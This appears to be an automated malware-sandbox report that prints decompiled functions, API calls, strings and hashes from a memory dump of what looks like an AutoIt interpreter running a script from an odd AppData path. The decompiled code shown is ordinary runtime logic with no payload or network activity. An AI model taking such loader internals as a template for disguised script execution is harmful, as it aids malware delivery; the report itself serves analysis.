0x00f07a72
0x00eef51d
0x00eef51f
0x00eef520
0x00eef522
0x00eef52a
0x00eef52a
0x00eef517
0x00eef531

Strings

?T, xrefs: 00EEF522
C:\Users\user\AppData\Roaming\22032878\xaso.fhr, xrefs: 00EEF49D

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: _memset$ByteCharMultiWide$_sprintf_strlen_wcslen
String ID: C:\Users\user\AppData\Roaming\22032878\xaso.fhr$?T
API String ID: 3898977315-2631398169
Opcode ID: 9b3c490c8e91b26c78360c223084fc311afc807fd3cd33224ebf65801a8d8644
Instruction ID: dcb62275739493e80b7d7a38f3d1f05bae5d2c4ad2ab38ba4b87306158484bf2
Opcode Fuzzy Hash: 9b3c490c8e91b26c78360c223084fc311afc807fd3cd33224ebf65801a8d8644
Instruction Fuzzy Hash: EC2147B2A042446BD714EF749C82A6FF2D8AF85310F10993AF655D22C2EB38E9449792

Uniqueness

Uniqueness Score: -1.00%

Function 00EEF1D0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EEF1D0(intOrPtr __eax, void* __esi, void* __fp0, intOrPtr _a4) {
				intOrPtr _v36;
				intOrPtr _v44;
				char* _v48;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				char* _v84;
				intOrPtr _v92;
				struct tagOFNA _v96;
				void* __ebx;
				void* __edi;
				void* _t24;
				char* _t28;
				intOrPtr _t33;
				void* _t34;
				void* _t38;

				_t38 = __fp0;
				_t34 = __esi;
				_t33 = __eax;
				 *((char*)(__esi + 3)) =  *0xf774e8;
				if( *((short*)(__eax)) == 0) {
					_t31 =  &_v96;
					 *_t28 = 1;
					E00EF2E60( &_v96, 0, 0x58);
					_v96 = 0x58;
					_v48 = L"Run Script:";
					_v92 = 0;
					_v68 = _t33;
					_v64 = 0x104;
					_v84 = L"AutoIt script files (*.au3, *.a3x)";
					_v72 = 1;
					_v44 = 0x1804;
					_v36 = L"au3";
					if(GetOpenFileNameW( &_v96) != 0) {
						goto L1;
					}
					return 0;
				}
				L1:
				E00EEF220(_t33, _t33, _t31);
				E00EEF3B0(_t33, _t33, _t34); // executed
				_t24 = E00EEF180(_t33, _a4, _t33, _t38, _t34, E00EEF290(_t34, _t33, _t33), _a4); // executed
				return _t24;
			}

0x00eef1d0
0x00eef1d0
0x00eef1d8
0x00eef1df
0x00eef1e6
0x00f0954f
0x00f09555
0x00f09558
0x00f09564
0x00f0956b
0x00f09572
0x00f09579
0x00f0957c
0x00f09583
0x00f0958a
0x00f09591
0x00f09598
0x00f095a7
0x00000000
0x00000000
0x00000000
0x00f095ad
0x00eef1ec
0x00eef1f0
0x00eef1f7
0x00eef20d
0x00000000

APIs

_memset.LIBCMT ref: 00F09558
GetOpenFileNameW.COMDLG32(?,?,?,00000001), ref: 00F0959F

Part of subcall function 00EEF220: GetFullPathNameW.KERNEL32(00000000,00000104,C:\Users\user\AppData\Roaming\22032878\xaso.fhr,00EEF1F5,C:\Users\user\AppData\Roaming\22032878\xaso.fhr,00F890E8,C:\Users\user\AppData\Roaming\22032878\xaso.fhr,?,00EEF1F5,?,?,00000001), ref: 00EEF23C

Part of subcall function 00EEF3B0: SHGetMalloc.SHELL32(00EEF1FC), ref: 00EEF3BD
Part of subcall function 00EEF3B0: SHGetDesktopFolder.SHELL32(?,00F890E8), ref: 00EEF3D2
Part of subcall function 00EEF3B0: _wcsncpy.LIBCMT ref: 00EEF3ED
Part of subcall function 00EEF3B0: SHGetPathFromIDListW.SHELL32(?,?), ref: 00EEF427
Part of subcall function 00EEF3B0: _wcsncpy.LIBCMT ref: 00EEF440

Part of subcall function 00EEF290: GetFullPathNameW.KERNEL32(?,00000104,?,?,?), ref: 00EEF2AB

Strings

X, xrefs: 00F09564

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: NamePath$Full_wcsncpy$DesktopFileFolderFromListMallocOpen_memset
String ID: X
API String ID: 2873425188-3081909835
Opcode ID: a2b77c6468c16af7fb4d223fe8fe46a64fac47b17dd9d1b2612a96f064747267
Instruction ID: 83babdc0b7de8b1e9c67ab444bfbab225c409b62175e87c469a86e372c3f7cd2
Opcode Fuzzy Hash: a2b77c6468c16af7fb4d223fe8fe46a64fac47b17dd9d1b2612a96f064747267
Instruction Fuzzy Hash: 8F11A9B0A0028C9BDB01DFD9DC457EEBBF96F89304F145119E514BB292D7F41445DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00EE1D10, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E00EE1D10(void* __edi, intOrPtr* __esi, void* __eflags) {
				intOrPtr _t14;
				intOrPtr _t15;
				signed int _t16;
				intOrPtr _t18;
				intOrPtr* _t20;
				void* _t34;
				intOrPtr* _t35;
				signed int _t41;

				_t35 = __esi;
				_t34 = __edi;
				_t14 = E00EF10E1(__edi);
				 *((intOrPtr*)(__esi + 4)) = _t14;
				_t15 = _t14 + 1;
				 *((intOrPtr*)(__esi + 8)) = _t15;
				if(_t15 == 0) {
					_t16 = 8;
				} else {
					_t16 = (_t15 + 7 >> 3) + (_t15 + 7 >> 3) + (_t15 + 7 >> 3) + (_t15 + 7 >> 3) + (_t15 + 7 >> 3) + (_t15 + 7 >> 3) + (_t15 + 7 >> 3) + (_t15 + 7 >> 3);
					_t41 = _t16;
				}
				 *(_t35 + 8) = _t16;
				_push( ~(0 | _t41 > 0x00000000) | _t16 * 0x00000002); // executed
				_t18 = E00EF14F7(_t34, _t35, _t41); // executed
				 *_t35 = _t18;
				E00EF0D80(_t18, _t34,  *((intOrPtr*)(_t35 + 4)) +  *((intOrPtr*)(_t35 + 4)) + 2);
				_push(4); // executed
				_t20 = E00EF14F7(_t34, _t35, _t41); // executed
				if(_t20 == 0) {
					_t20 = 0;
				} else {
					 *_t20 = 1;
				}
				 *((intOrPtr*)(_t35 + 0xc)) = _t20;
				return _t35;
			}

0x00ee1d10
0x00ee1d10
0x00ee1d11
0x00ee1d19
0x00ee1d1c
0x00ee1d1d
0x00ee1d20
0x00f06491
0x00ee1d26
0x00ee1d30
0x00ee1d30
0x00ee1d30
0x00ee1d34
0x00ee1d45
0x00ee1d46
0x00ee1d55
0x00ee1d57
0x00ee1d5c
0x00ee1d5e
0x00ee1d68
0x00f0649b
0x00ee1d6e
0x00ee1d6e
0x00ee1d6e
0x00ee1d74
0x00ee1d79

APIs

_wcslen.LIBCMT ref: 00EE1D11

Part of subcall function 00EF14F7: _malloc.LIBCMT ref: 00EF1511

_memmove.LIBCMT ref: 00EE1D57

Part of subcall function 00EF14F7: std::exception::exception.LIBCMT ref: 00EF1546
Part of subcall function 00EF14F7: std::exception::exception.LIBCMT ref: 00EF1560
Part of subcall function 00EF14F7: __CxxThrowException@8.LIBCMT ref: 00EF1571

Strings

@EXITCODE, xrefs: 00EE1D10, 00EE1D53

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: std::exception::exception$Exception@8Throw_malloc_memmove_wcslen
String ID: @EXITCODE
API String ID: 2734553683-3436989551
Opcode ID: 2e4067a483fc2459a1b3f0e0f0c393d559d3f47989546ec9ecea7a1d84fb9087
Instruction ID: 21fbe2d87b71fcb704057a825a739e0480e533b6195070628c1e969c14b721b1
Opcode Fuzzy Hash: 2e4067a483fc2459a1b3f0e0f0c393d559d3f47989546ec9ecea7a1d84fb9087
Instruction Fuzzy Hash: 33F0CDF2A0028A9FC350DB74CC02B3776D49B84300F04C86CA18AC7781FA79E4829B20

Uniqueness

Uniqueness Score: -1.00%

Function 00F1297C, Relevance: 4.6, APIs: 3, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E00F1297C(char* _a4, int _a8) {
				void* __edi;
				void* __esi;
				signed int _t14;
				short* _t16;
				void* _t20;
				short* _t22;
				signed int _t27;
				char* _t30;
				int _t31;
				int _t32;
				void* _t33;

				_t32 = _a8;
				_t30 = _a4;
				if(_t30 == 0) {
					L4:
					return 0;
				} else {
					if(_t32 == 0xffffffff) {
						_t20 = E00EF3450(_t30);
						_t33 = _t33 + 4;
						_t3 = _t20 + 1; // 0x1
						_t32 = _t3;
					}
					_t31 = MultiByteToWideChar(0, 1, _t30, _t32, 0, 0);
					if(_t31 != 0) {
						_t14 = _t32;
						__eflags = _t31 - _t32;
						if(__eflags >= 0) {
							_t14 = _t31;
						}
						_t27 =  ~(0 | __eflags > 0x00000000) | _t14 * 2;
						__eflags = _t27;
						_push(_t27); // executed
						_t16 = E00EF14F7(_t31, _t32, _t27); // executed
						_t22 = _t16;
						MultiByteToWideChar(0, 1, _a4, _t32, _t22, _t31);
						return _t22;
					} else {
						goto L4;
					}
				}
			}

0x00f12980
0x00f12984
0x00f12989
0x00f129b3
0x00f129b7
0x00f1298b
0x00f1298e
0x00f12991
0x00f12996
0x00f12999
0x00f12999
0x00f12999
0x00f129ac
0x00f129b0
0x00f129be
0x00f129c0
0x00f129c2
0x00f129c4
0x00f129c4
0x00f129cd
0x00f129cd
0x00f129cf
0x00f129d0
0x00f129d9
0x00f129e5
0x00f129f1
0x00000000
0x00000000
0x00000000
0x00f129b0

APIs

_strlen.LIBCMT ref: 00F12991
MultiByteToWideChar.KERNEL32(00000000,00000001,?,00F34515,00000000,00000000,?,?,?,00F34515,?,000000FF), ref: 00F129A6
MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00F34515,00000000,00000000,000000FF), ref: 00F129E5

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharMultiWide$_strlen
String ID:
API String ID: 1433632580-0
Opcode ID: 60ace609bb75457337f4f0d63535269c0e483182d12e12977d106b88e8dae924
Instruction ID: 7587fbb431a954dbdd34100747a83cd942aa1d361373c7208d89d71be0be0afc
Opcode Fuzzy Hash: 60ace609bb75457337f4f0d63535269c0e483182d12e12977d106b88e8dae924
Instruction Fuzzy Hash: 4B01F7377401083BD75056AC9C86FEBB79CDBC5B70F050125FB1CDB2D0E9A1A84052A0

Uniqueness

Uniqueness Score: -1.00%

Function 00EEFE20, Relevance: 4.6, APIs: 3, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E00EEFE20(short* __ebx, int __ecx, void* __esi) {
				char* _v8;
				void* __edi;
				int _t5;
				char* _t7;
				void* _t10;
				short* _t11;
				int _t14;
				void* _t17;
				int _t18;
				void* _t20;

				_t17 = __esi;
				_t11 = __ebx;
				_push(__ecx);
				if(__ebx == 0) {
					__eflags = 0;
					return 0;
				} else {
					_t14 = __ecx;
					if(__ecx == 0xffffffff) {
						_t10 = E00EF10E1(__ebx);
						_t20 = _t20 + 4;
						_t1 = _t10 + 1; // 0x1
						_t14 = _t1;
					}
					_t5 = WideCharToMultiByte(0, 0, _t11, _t14, 0, 0, 0, 0);
					if(_t5 == 0) {
						__eflags = 0;
						return 0;
					} else {
						_push(_t17);
						_t18 = _t5;
						_t25 = _t18 - _t14;
						if(_t18 < _t14) {
							_push(_t14);
						} else {
							_push(_t18); // executed
						}
						_t7 = E00EF14F7(_t14, _t18, _t25); // executed
						_v8 = _t7;
						WideCharToMultiByte(0, 0, _t11, _t14, _t7, _t18, 0, 0);
						return _v8;
					}
				}
			}

0x00eefe20
0x00eefe20
0x00eefe23
0x00eefe26
0x00f05d52
0x00f05d57
0x00eefe2c
0x00eefe2d
0x00eefe32
0x00eefe35
0x00eefe3a
0x00eefe3d
0x00eefe3d
0x00eefe3d
0x00eefe4e
0x00eefe56
0x00eefe86
0x00eefe8c
0x00eefe58
0x00eefe58
0x00eefe59
0x00eefe5b
0x00eefe5d
0x00eefe8d
0x00eefe5f
0x00eefe5f
0x00eefe5f
0x00eefe60
0x00eefe74
0x00eefe77
0x00eefe85
0x00eefe85
0x00eefe56

APIs

_wcslen.LIBCMT ref: 00EEFE35
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,?,00F343ED,?,00000000,?,?), ref: 00EEFE4E
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,?,00000000,?,?,?,?), ref: 00EEFE77

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharMultiWide$_wcslen
String ID:
API String ID: 2761822629-0
Opcode ID: a7ae1d1bde5e75c43f902a799993db68cdcb33e9b88f8351ecbd8a4d1b701175
Instruction ID: a70a1c94b620fae322f9bfebc3b62a26329cc1f0369523af71f0d4e4ee18fa96
Opcode Fuzzy Hash: a7ae1d1bde5e75c43f902a799993db68cdcb33e9b88f8351ecbd8a4d1b701175
Instruction Fuzzy Hash: 4901D672B4424C76E63059AA6C06F67B29CCBC6B31F2402B6FF18F61E1E5E1AC0051A5

Uniqueness

Uniqueness Score: -1.00%

Function 00EEF180, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 246
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E00EEF180(void* __eax, signed int __ecx, void* __edx, signed int __fp0, intOrPtr _a4, void* _a8, signed int _a12) {
				signed int _v12;
				signed int _v16;
				intOrPtr _v20;
				signed int _v24;
				short _v26;
				short _v28;
				signed int _v32;
				signed int _v36;
				char _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				char _v64;
				char _v80;
				char _v96;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t97;
				signed int* _t108;
				signed int* _t119;
				signed int* _t120;
				signed int* _t122;
				intOrPtr _t129;
				signed int _t131;
				signed int _t142;
				signed int* _t146;
				void* _t156;
				signed int _t157;
				signed int _t159;
				void* _t160;
				signed int _t162;
				signed int _t164;
				signed int _t170;
				signed int _t174;
				signed int _t178;
				signed int _t179;
				signed int _t181;
				void* _t184;
				intOrPtr _t195;
				intOrPtr _t202;
				signed int _t203;
				void* _t209;
				signed int _t212;
				signed int _t215;
				void* _t217;
				void* _t218;
				void* _t221;

				_t224 = __fp0;
				_t184 = __edx;
				_t209 = __eax;
				_t97 = E00EEF490(__ecx,  &_v48, _t221, __eax); // executed
				if(_t97 == 0) {
					_t164 =  &_v48;
					__eflags = E00F32833(__eflags, _t164,  &_a8,  &_a12);
					if(__eflags == 0) {
						_t101 =  *_a8;
						_t202 = _a4;
						_t14 = _t101 + 1; // 0x2
						_t210 = _t14;
						 *((intOrPtr*)(_t202 + 0x10)) =  *_a8;
						_v28 = _t164 | 0xffffffff;
						_t157 = 0;
						_a12 = 4;
						_v64 = 0xf65a44;
						_v60 = 0;
						_v56 = 0;
						_v52 = 0;
						_t170 = ( ~(0 | __eflags > 0x00000000) | _t210 * 0x00000010) + 4;
						_push( ~(0 | __eflags > 0x00000000) | _t170);
						_t108 = E00EF14F7(_t202, _t210, __eflags);
						_t218 = _t217 + 4;
						__eflags = _t108;
						if(_t108 != 0) {
							_t30 =  &(_t108[1]); // 0x4
							_t170 = _t30;
							 *_t108 = _t210;
							_v24 = _t170;
							E00EF0BC0(_t210, 0xee2618, _t170, 0x10);
							_t157 = _v24;
						}
						_t171 = _t170 | 0xffffffff;
						 *((intOrPtr*)(_t202 + 0x44)) = _t157;
						_v26 = _t170 | 0xffffffff;
						__eflags =  *((intOrPtr*)(_t202 + 0x10)) - 1;
						if( *((intOrPtr*)(_t202 + 0x10)) < 1) {
							L29:
							E00EF3668(_a8);
							E00F11E29( &_v48);
							E00EE11A0( &_v64, _t202, _t210);
							E00F2B3F5(__eflags,  &_v36);
							return 1;
						}
						_v20 = 1;
						_v24 = 0x10;
						do {
							E00EED740( &_v64, _t171);
							goto L12;
							do {
								while(1) {
									L12:
									_t174 = _a12;
									_t159 =  *(_t174 + _a8) & 0x000000ff;
									_t203 = _t159;
									_a12 = _t174 + 1;
									E00EE2940(_t203,  &_v36, _t224);
									_t119 = E00F1256E( &_v36);
									__eflags = _t119;
									if(_t119 != 0) {
										break;
									}
									_t171 =  &_v36;
									_t120 = E00F1254C( &_v36);
									__eflags = _t120;
									if(_t120 == 0) {
										_t122 = E00F1252A( &_v36);
										__eflags = _t122;
										if(_t122 == 0) {
											__eflags = E00F1258F( &_v36);
											if(__eflags == 0) {
												goto L27;
											}
											_t171 =  &_a12;
											_v16 = _t159;
											_t160 = E00F249DD(__eflags, _a8,  &_a12);
											_t131 = _t203;
											__eflags = _t131 - 0x31;
											if(__eflags != 0) {
												__eflags = _t131 - 0x30;
												if(__eflags != 0) {
													_push(_t160);
													__eflags = _t131 - 0x37;
													if(__eflags != 0) {
														_push( &_v36);
														E00F2B3A8( &_a12, _t203,  &_v36, __eflags);
														L26:
														_push(_t160);
														E00EF10FC();
														_t159 = _v16;
														_t218 = _t218 + 4;
														goto L27;
													}
													_push(_a4);
													E00F2C753( &_a12, _t203);
													_push(_t160);
													E00EF10FC();
													_t218 = _t218 + 4;
													continue;
												}
												E00EE1D10(_t160,  &_v96, __eflags);
												_v12 = E00F24963(__eflags,  &_v96);
												E00EE2480( &_v96);
												E00EE2940(0,  &_v36, _t224);
												_t171 = _v12;
												_v36 = _v12;
												goto L26;
											}
											_t215 =  &_v80;
											E00EE1D10(_t160, _t215, __eflags);
											_t142 = E00F249A2(_a4, _t215);
											_t171 = _t215;
											_v12 = _t142;
											E00EE2480(_t215);
											E00EE2940(1,  &_v36, _t224);
											_v36 = _v12;
											goto L26;
										}
										_t178 = _a12;
										_t195 = _a8;
										_t224 =  *(_t178 + _t195);
										_t171 = _t178 + 8;
										_v36 =  *(_t178 + _t195);
										_a12 = _t178 + 8;
										goto L27;
									}
									_t179 = _a12;
									_t146 = _t179 + _a8;
									_a12 = _t179 + 8;
									_t171 =  *_t146;
									_v36 =  *_t146;
									_v32 = _t146[1];
									goto L27;
								}
								_t181 = _a12;
								_t171 = _t181 + 4;
								_a12 = _t181 + 4;
								_v36 =  *(_t181 + _a8);
								L27:
								E00EE29B0( &_v36, _t171,  &_v64);
								__eflags = _t159 - 0x7f;
							} while (_t159 != 0x7f);
							_t212 = _v24;
							_t202 = _a4;
							E00EE2500( *((intOrPtr*)(_t202 + 0x44)) + _t212,  &_v64);
							_t129 = _v20 + 1;
							_t210 = _t212 + 0x10;
							_v20 = _t129;
							_v24 = _t212 + 0x10;
							__eflags = _t129 -  *((intOrPtr*)(_t202 + 0x10));
						} while (_t129 <=  *((intOrPtr*)(_t202 + 0x10)));
						goto L29;
					}
					E00F11E29( &_v48);
					L6:
					E00F1401B( *((intOrPtr*)(_a4 + 0x48)),  *(_a4 + 3) & 0x000000ff);
					return 0;
				}
				_t162 = _a12;
				if( *_t162 == 4) {
					goto L6;
				}
				 *_t162 = 2; // executed
				_t156 = E00EE35F0(_t184, __fp0, _a4, _t209, _a8, _t209, 0xf64e64, 0); // executed
				return _t156;
			}

0x00eef180
0x00eef180
0x00eef189
0x00eef18f
0x00eef196
0x00f092c6
0x00f092cf
0x00f092d1
0x00f092fa
0x00f092fc
0x00f09302
0x00f09302
0x00f09305
0x00f09308
0x00f0930e
0x00f0931c
0x00f09323
0x00f0932a
0x00f0932d
0x00f09330
0x00f09339
0x00f09343
0x00f09344
0x00f09349
0x00f0934c
0x00f0934e
0x00f09350
0x00f09350
0x00f09353
0x00f0935e
0x00f09361
0x00f09366
0x00f09366
0x00f09369
0x00f09371
0x00f09374
0x00f09378
0x00f0937b
0x00f09520
0x00f09524
0x00f09530
0x00f09538
0x00f09541
0x00000000
0x00f09546
0x00f09381
0x00f09384
0x00f0938b
0x00f0938e
0x00f0938e
0x00f09393
0x00f09393
0x00f09393
0x00f09393
0x00f09399
0x00f093a1
0x00f093a6
0x00f093a9
0x00f093af
0x00f093b4
0x00f093b6
0x00000000
0x00000000
0x00f093d1
0x00f093d5
0x00f093da
0x00f093dc
0x00f09401
0x00f09406
0x00f09408
0x00f0942d
0x00f0942f
0x00000000
0x00000000
0x00f09438
0x00f0943d
0x00f09445
0x00f09447
0x00f09449
0x00f0944c
0x00f09481
0x00f09484
0x00f094b2
0x00f094b3
0x00f094b6
0x00f094d2
0x00f094d3
0x00f094d8
0x00f094d8
0x00f094d9
0x00f094de
0x00f094e1
0x00000000
0x00f094e1
0x00f094bb
0x00f094bc
0x00f094c1
0x00f094c2
0x00f094c7
0x00000000
0x00f094c7
0x00f0948b
0x00f09498
0x00f0949b
0x00f094a5
0x00f094aa
0x00f094ad
0x00000000
0x00f094ad
0x00f09450
0x00f09453
0x00f0945d
0x00f09462
0x00f09464
0x00f09467
0x00f09474
0x00f0947c
0x00000000
0x00f0947c
0x00f0940a
0x00f0940d
0x00f09410
0x00f09416
0x00f09419
0x00f0941c
0x00000000
0x00f0941c
0x00f093de
0x00f093e4
0x00f093ed
0x00f093f0
0x00f093f2
0x00f093f5
0x00000000
0x00f093f5
0x00f093b8
0x00f093c3
0x00f093c6
0x00f093c9
0x00f094e4
0x00f094ea
0x00f094ef
0x00f094ef
0x00f094f8
0x00f094fc
0x00f09505
0x00f0950d
0x00f0950e
0x00f09511
0x00f09514
0x00f09517
0x00f09517
0x00000000
0x00f0938b
0x00f092d7
0x00f092dc
0x00f092e8
0x00000000
0x00f092f0
0x00eef19c
0x00eef1a2
0x00000000
0x00000000
0x00eef1b9
0x00eef1bf
0x00000000

APIs

_free.LIBCMT ref: 00F09524

Part of subcall function 00EE35F0: GetCurrentDirectoryW.KERNEL32(00000104,?,?), ref: 00EE3681
Part of subcall function 00EE35F0: GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 00EE3697
Part of subcall function 00EE35F0: __wsplitpath.LIBCMT ref: 00EE36C2
Part of subcall function 00EE35F0: _wcscpy.LIBCMT ref: 00EE36D7
Part of subcall function 00EE35F0: _wcscat.LIBCMT ref: 00EE36EC
Part of subcall function 00EE35F0: SetCurrentDirectoryW.KERNELBASE(?), ref: 00EE36FC

Strings

C:\Users\user\AppData\Roaming\22032878\xaso.fhr, xrefs: 00EEF188, 00EEF18B, 00EEF1B5, 00EEF1B7

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentDirectory$FullNamePath__wsplitpath_free_wcscat_wcscpy
String ID: C:\Users\user\AppData\Roaming\22032878\xaso.fhr
API String ID: 2744521063-776828797
Opcode ID: 1926988b537c5871f053fb3083dad29039186ac8e72a6fadaced48c96d60ea7f
Instruction ID: 72908069955733fb42d9f916dcaba2415c5280803473f0d64bc255ddb6496fc3
Opcode Fuzzy Hash: 1926988b537c5871f053fb3083dad29039186ac8e72a6fadaced48c96d60ea7f
Instruction Fuzzy Hash: 47919071D0425D9BCF04DFA4CC819EE77B9FF48310F108529E915AB282E774E905EBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00EE3B40, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 52
fileCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E00EE3B40(void* __ebx, void* __ecx, void** __esi, char _a4) {
				long _v8;
				int _t26;
				void* _t27;
				void* _t29;
				void* _t34;
				void* _t38;
				void** _t40;

				_t40 = __esi;
				_t29 = __ebx;
				if(__esi[2] == 0) {
					__esi[2] = 0;
					__esi[3] = 0;
					__esi[4] = E00EEE270(__esi);
					__esi[5] = _t34;
				}
				_t38 = 0;
				if(_t29 != 0) {
					do {
						if(_t40[3] == _t40[2]) {
							_t26 = ReadFile( *_t40, _t40[1], 0x10000,  &_v8, 0); // executed
							if(_t26 != 0) {
								_t27 = _v8;
								if(_t27 != 0) {
									_t40[2] = _t27;
									_t40[3] = 0;
									goto L3;
								}
							}
						} else {
							goto L3;
						}
						goto L4;
						L3:
						_t7 =  &_a4; // 0xeee13c
						 *((char*)(_t38 +  *_t7)) =  *((intOrPtr*)(_t40[1] + _t40[3]));
						_t40[3] =  &(_t40[3]->Internal);
						_t38 = _t38 + 1;
					} while (_t38 < _t29);
				}
				L4:
				_t40[4] = _t40[4] + _t38;
				asm("adc dword [esi+0x14], 0x0");
				return _t38;
			}

0x00ee3b40
0x00ee3b40
0x00ee3b48
0x00ee3bb0
0x00ee3bb7
0x00ee3bc3
0x00ee3bc6
0x00ee3bc6
0x00ee3b4b
0x00ee3b4f
0x00ee3b51
0x00ee3b57
0x00ee3b92
0x00ee3b9a
0x00ee3b9c
0x00ee3ba1
0x00ee3ba3
0x00ee3ba6
0x00000000
0x00ee3ba6
0x00ee3ba1
0x00000000
0x00000000
0x00000000
0x00000000
0x00ee3b59
0x00ee3b62
0x00ee3b65
0x00ee3b68
0x00ee3b6b
0x00ee3b6c
0x00ee3b51
0x00ee3b70
0x00ee3b70
0x00ee3b76
0x00ee3b7d

APIs

ReadFile.KERNELBASE(00000000,?,00010000,?,00000000,?,?), ref: 00EE3B92

Strings

<, xrefs: 00EE3B62

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: FileRead
String ID: <
API String ID: 2738559852-469850710
Opcode ID: 177484352e2c9c22e13b154279b1835f8d0a2bf43e6127b8418ecfbb5bdf0815
Instruction ID: f75af210f331260be5cd7403fe594e3b2adc8d789d594d8d72c155816e2bfb90
Opcode Fuzzy Hash: 177484352e2c9c22e13b154279b1835f8d0a2bf43e6127b8418ecfbb5bdf0815
